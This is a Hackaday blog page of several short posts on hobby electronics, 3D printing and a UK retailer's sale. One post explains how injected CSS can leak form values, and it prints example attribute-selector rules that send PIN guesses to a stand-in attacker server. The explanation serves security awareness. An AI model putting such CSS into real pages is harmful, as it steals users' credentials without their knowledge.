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Hackaday Links: February 25, 2018

February 25, 2018 by 18 Comments

Hipster hardware! [Bunnie] found something interesting in Tokyo. It’s a LED matrix display, with a few PDIP chips glued onto the front. There are no through-holes or vias, and these PDIPs can’t be seen through on the back side of the board. Someone is gluing retro-looking chips onto boards so it looks cool. It’s the ‘gluing gears to everything therefore steampunk’ aesthetic. What does this mean for the future? Our tubes and boxes of 74-series chips will be ruined by a dumb kid with a hot glue gun when we’re dead.

Is it Kai-CAD or Key-CAD? Now you can share your troubles with the greatest problem in Electronic Design Automation with others.

Speaking of unimaginable problems in EDA suites and PCB design tools, here’s a Git-based visual version control thingy for Eagle. Cadlab.io is a version control system for Github and Eagle that offers visual diff of PCB layouts and schematics. Neat? Yes, especially if you have more than one person working on a board.

How about a 3D printed business card embosser? [Taekyeom] designed and printed a pair of 3D rollers, one of which is embossed with the ‘negative’ of a design, the other with the ‘positive’ of a design. When rolled against each other, these rollers mesh and putting a piece of paper through the pinky pinching machine embosses paper. Add a frame, a handle, and a few zip ties for belts, and you have a fully 3D printed paper embosser.

There’s a new ransomware that encrypts your files and won’t allow you to access them until you pay someone some crypto. Big news, huh? Well, yes, actually. The HC7 Planetary ransomware is apparently the first bit of ransomware that accepts Etherium. ETH is all grown up now.

Aw, snap, 3D printers with automatic tool changing. This is a project from E3D that shows off magnetic (?) extruders and hot ends for 3D printers. You can change your hot end (and nozzle, and filament) in mid-print. What does this mean? Well, swapping filament is the most obvious use case, but the Prusa system might have this nailed down. What is more interesting is swapping hotends, allowing you to print in multiple temperatures (and different materials), and maybe even different nozzle sizes. This is coming to MRRF, the greatest 3D printing con on the planet. MRRF is happening in March 23-25th in beautiful scenic Goshen, Indiana.

A hardware demoscene? Yes, it’s true! #badgelife is a hardware demoscene wrapped up around wearable conference badges. We just had a meetup in San Francisco this week, and the talks were amazing. [Kerry Scharfglass] talked about scaling one Diamond Age badge to one hundred Diamond Age badges. [Whitney Merrill] talked about building badges for the Crypto and Privacy village at Defcon. If you’re into electronics, you are, by default, into manufacturing and this is the best education in manufacturing and logistics you will ever get. The true pros know how to reduce air freight costs by two hundred percent!

Debugging With Serial Print At 5333333 Baud

February 25, 2018 by 28 Comments

Debugging with printf is something [StorePeter] has always found super handy, and as a result he’s always been interested in tweaking the process for improvements. This kind of debugging usually has microcontrollers sending messages over a serial port, but in embedded development there isn’t always a hardware UART, or it might already be in use. His preferred method of avoiding those problems is to use a USB to Serial adapter and bit-bang the serial on the microcontroller side. It was during this process that it occurred to [StorePeter] that there was a lot of streamlining he could be doing, and thanks to serial terminal programs that support arbitrary baud rates, he’s reliably sending debug messages over serial at 5.3 Mbit/sec, or 5333333 Baud. His code is available for download from his site, and works perfectly in the Arduino IDE.

The whole thing consists of some simple, easily ported code to implement a bare minimum bit-banged serial communication. This is output only, no feedback, and timing consists of just sending bits as quickly as the CPU can handle, leaving it up to the USB Serial adapter and rest of the world to handle whatever that speed turns out to be. On a 16 MHz AVR, transmitting one bit can be done in three instructions, which comes out to about 5333333 baud or roughly 5.3 Mbit/sec. Set a terminal program to 5333333 baud, and you can get a “Hello world” in about 20 microseconds compared to 1 millisecond at 115200 baud.

He’s got additional tips on using serial print debugging as a process, and he’s done a followup where he stress-tests the reliability of a 5.3 MBit/sec serial stream from an ATMega2560 at 16 MHz in his 3D printer, and found no missed packets. That certainly covers using printf as a debugger, so how about a method of using the debugger as printf?

CSS Steals Your Web Data

February 25, 2018 by 26 Comments

Earlier this year, we posted a link to an interactive Web page. Most people seemed to like it, but we got at least one comment about how they would never be so incautious as to allow JavaScript to run on their computers. You can argue the relative merit of that statement, but it did remind us that just disabling JavaScript is no panacea when it comes to Internet security. You might wonder how you could steal data without scripting, assuming you don’t directly control the server or browser, of course. The answer is by using a cascading style sheet (CSS). [Live Overflow] explains the exploit in the video below, covering an older paper and a recent rediscovery of the technique.

The technique hinges on you getting a CSS into the web page. Maybe you’ve partially compromised the server or maybe you wrote a malicious browser extension. The method works because you can make a style conditional on an attribute of an element. That means you can ask CSS to do some special formatting on a text field with a certain value. If that formatting is to load some background image from a server you control then you can tell if the field has a particular value.

We didn’t say it was easy. Suppose you want to capture a four-digit PIN number. You will need about 10,000 lines of format. For example:

input[type="pin"][value$="0000"] { background-color: url(http://notahackaday.com/0000.png }
input[type="pin"][value$="0001"] { background-color: url(http://notahackaday.com/0001.png }
...
input[type="pin"][value$="9999"] { background-color: url(http://notahackaday.com/9999.png }

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Screw Drive Tank Is Radio Controlled, 3D Printed

February 25, 2018 by 12 Comments

Screw drives are something that we don’t see a lot of – they’ve got an interesting set of attributes making them useful on soft ground, but woe betide you if your local transport department catches you trying to belt one of these up the freeway. After a long development period, [Ivan] has finally perfected his screw drive tank.

This is something that’s been in the works for a long time. It’s a primarily 3D-printed build, showing just how easy it is to build complex machines from scratch in this day and age of rapid prototyping. Over time, [Ivan] has experimented with different screw shapes and taken feedback from his audience on how to improve the craft. With some changes to the gearing and drive layout, the tank returned to the beach, with great success. Powered by twin brushless motors and controlled by off-the-shelf RC gear, the tank has no trouble scooting about the sand.

The project shows the value in iterative design, with [Ivan] taking time to lay out all the parts which have changed since the last revision. It’s a project that is now a five-part series, and we can’t wait to see where it goes next. There’s every chance an amphibious version could be in the works. For something on the larger scale, check out this screw drive tractor set to conquer Canada.

Continue reading “Screw Drive Tank Is Radio Controlled, 3D Printed” →

Power Supply Choices

February 25, 2018 by 6 Comments

Unless you are building a crystal radio or you’ve finally invented that infinite energy machine, any project you do is going to need some sort of power supply. There was a time when a battery was enough, but these days you probably need some sort of regulation. But there are many kinds to choose. Linear, switching, SEPIC, LDO… how do you pick? [Andreas Spiess] has some practical advice in his recent video, which you can see below.

[Andreas] calls the video “Voltage Regulator Cheat Sheet” and that’s an apt name. He covers the major architectures and even points out why you can’t always trust the vendor’s information on certain types of supplies.

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Casting Metal Parts And Silicone Molds From 3D Prints

February 25, 2018 by 35 Comments

The invention of the relatively affordable 3D printer for home use has helped bring methods used to produce parts for prototypes, samples, and even manufacturing, closer to designers. This tutorial on how to cast metal parts from 3D printed silicone molds is a perfect example of how useful a 3D printer can be when you are looking to make a custom and durable metal part at home.

After 3D printing a mold design using an Ultimaker 2 [Matt Borgatti] casts the mold using Smooth-On Mold Star 15 that can withstand heat up to 450 °F (232 °C), which he points out is ideal for the low-temp metal casting alloy tin-bismuth comprised of 58% Bismuth and 42% Tin with a melting point of 281 °F.

You may have heard of molds created from 3D printed parts before, but what makes this tutorial great is that the author, [Matt Borgatti], really sets you up to be successful. He offers up plenty of insights including mold-making techniques and terminology like why you would need a well and runners designed as part of your mold when casting with metal.

You can either reproduce his designs or use the tutorial to create your own which makes it a good start for beginners as well as another method to file away for people who already have experience 3D printing molds. This post is also really a twofer. Not only do you get detailed instructions for the method but [Matt Borgatti] uses his casted metal part for a flat-pack camera arm he designed to document projects with which you can also build using his files found on Thingiverse.

To create molds for precision parts and to learn more about using a 3D printer as a tool in the casting process, check out this method for creating higher resolution molds with a resin printer.

Continue reading “Casting Metal Parts And Silicone Molds From 3D Prints” →

Maplin For Sale

February 24, 2018 by 78 Comments

If you are an American Electronics Enthusiast of a Certain Age, you will have misty-eyed reminiscences of the days when every shopping mall had a Radio Shack store. If you are a Brit, the name that will bring similar reminiscences to those Radio Shack ones from your American friends is Maplin. They may be less important to our community than they once would have been so this is a story from the financial pages; it has been announced that the Maplin chain is for sale.

Maplin started life as a small mail-order company supplying electronic parts, grew to become a large mail order company selling electronic parts, and them proceeded to a nationwide chain of stores occupying a similar niche to the one Radio Shack fitted into prior to their demise. They still sell electronic components, multimeters, and tools, but the bulk of their floor space is devoted to the more techy and hobbyist end of mass-market consumer electronics. As the competition from online retailers has intensified  it is reported that the sale may be an attempt to avoid the company going into administration.

It’s fair to say that in our community they have something of a reputation of late for being not the cheapest source of parts, somewhere you go because you need something in a hurry rather than for a bargain. A friend of Hackaday remarked flippantly that the asking price for the company would be eleventy zillion pounds, which may provide some clues as to why custom hasn’t been so brisk. But for a period in the late 1970s through to the 1980s they were the only place for many of us to find  parts, and their iconic catalogues with spaceships on their covers could be bought from the nationwide WH Smith newsagent chain alongside home computers such as the ZX Spectrum. It’s sad to say this, but if they did find themselves on the rocks we’d be sorry to see the name disappear, but we probably wouldn’t miss them in 2018.

One of the things Maplin were known for back in the day were their range of kits. We’ve shown you at least one in the past, this I/O port for a Sinclair ZX81.

Footnote: Does anyone still have any of the early Maplin catalogues with the spaceships on the cover? Ours perished decades ago, but we’d love to borrow one for a Retrotechtacular piece.

Maplin store images: Betty Longbottom [CC BY-SA 2.0], and Futurilla [CC BY-SA 2.0].